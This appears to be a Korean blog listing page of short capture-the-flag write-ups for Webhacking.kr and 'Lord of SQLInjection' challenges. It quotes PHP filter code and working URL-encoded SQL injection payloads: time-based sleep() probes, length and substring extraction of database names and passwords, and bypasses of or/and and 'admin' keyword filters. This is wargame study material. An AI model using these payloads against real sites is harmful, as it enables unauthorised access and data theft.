전체 글 (295) 썸네일형 리스트형 Webhacking.kr : old-21 Write-Up 처음 접근했던 방법 ( Fail ) ?id=1'+or+1%3d1+and+sleep(2)%23&pw=1 ?id=1'+or+1%3d1+AND+if(1%3d1,sleep(3),false)%23 위 payload를 통해, Time Based SQL Injection의 가능성을 보았다. ?id=1'+or+1%3d1+and+length(database())%3d10+and+sleep(5)%23&pw=1 위 payload로 db의 길이를 구할 수 있었다. ?id=1'+or+1%3d1+and+substring(database(),1,1)%3d'w'+and+sleep(5)%23&pw=1 ?id=1'+or+1%3d1+AND+if(ASCII(SUBSTRING(database(),2,1))%3d101,+sle.. LORD OF SQLINJECTION : golem Write-Up if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); $_GET[pw] = addslashes($_GET[pw]); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 필터링 및 주요 조건은 위와 같다. pw에 알맞은 문자를 입력해야만 문제를 해결할 수 있다. pw를 구하기 위해, pw 길이 부터 구해보도록 한다. ?pw=1%27%20||%20id%20like%20%27admin%27%20%26%26%20length(pw)>8%23 ?p.. LORD OF SQLINJECTION : skeleton Write-Up if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; if($result['id'] == 'admin') solve("skeleton"); result[id] 가 admin 일 시, 문제를 해결할 수 있다. 위의 코드에서 주의해서 봐야할 부분은 and 1=0이다. 1=0 이 아니기에, 그냥 두면 참이 될 수 없다. 그래서 아래와 같은 payload를 사용해 문제를 해결했다. ?pw=1%27%20or%20id%20like%20%27admin%27%23 ?pw=1%27%2.. LORD OF SQLINJECTION : vampire Write-Up 해당 문제의 필터링 및 적용되는 조건은 아래와 같다. if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); $_GET[id] = strtolower($_GET[id]); $_GET[id] = str_replace("admin","",$_GET[id]); ' 가 필터링 되며, strtolower()를 통해 대문자를 소문자로 변경한다. 그리고 str_replace()를 통해 id 인자 값에 admin이 포함될 시, ""(공백)으로 치환되어진다. 그래서 아래 그림 1과 같이 id=adadminmin 을 요청해 해당 조건을 우회했다. LORD OF SQLINJECTION : troll Write-Up 필터링 조건은 아래와 같다. if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match("/admin/", $_GET[id])) exit("HeHe"); id에 대한 입력 값을 필터링 하는데, admin을 아래 그림 1과 같이 Admin으로 우회해줬다. 해결! LORD OF SQLINJECTION : orge Write-Up orc 문제와 유사한 문제였다. 달랐던 점은 or 와 and 의 필터링을 우회해야 한다는 점이였다. 문제를 풀어보도록 한다! ?pw=1%27||%20id%20like%20%27admin%27%23 " Hello admin " 이 출력되지만, if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 조건을 만족 시키지 못한다. ?pw=1%27%20||%20id%20=%20%27admin%27%20%26%26%20length(pw)=8%23 위 코드를 통해, pw의 길이를 파악한다. 중요한 점은 request 요청 시, &&가 파라미터 구분자로 인식되어 제대로 요청이 되지 않았고, url encoding 시켜 %26로 전달했다.. Webhacking.kr : old-12 Write-Up 해당 코드를 aadecode 실행하니, 아래와 같은 코드가 출력되었다. var enco=''; var enco2=126; var enco3=33; var ck=document.URL.substr(document.URL.indexOf('=')); for(i=1;i LORD OF SQLINJECTION : darkelf Write-Up if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 이번 문제의 필터링은 위와 같다. or 와 and가 필터링 되고 있다. 아래와 같은 payload로 or 우회를 시도해본다. ?pw=%27||%201=1%23 || 로 or 우회가 되면서, guest id가 조회된다. 다시 아래와 같은 payload를 통해 admin을 조회하고, 문제를 해결한다! ?pw=%27||%20id%20like%20%27admin%27%23 or 필터링은 || 로 우회가 가능하며, and 필터링은 &&로 우회가 가능하다. 이전 1 ··· 8 9 10 11 12 13 14 ··· 37 다음